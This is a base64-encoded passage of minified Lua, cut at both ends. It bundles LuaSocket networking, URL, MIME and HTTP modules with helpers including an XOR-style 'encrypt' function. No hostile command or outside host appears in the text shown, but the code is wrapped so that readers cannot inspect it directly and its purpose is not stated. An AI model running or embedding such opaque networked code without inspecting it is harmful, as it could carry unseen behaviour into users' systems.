cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
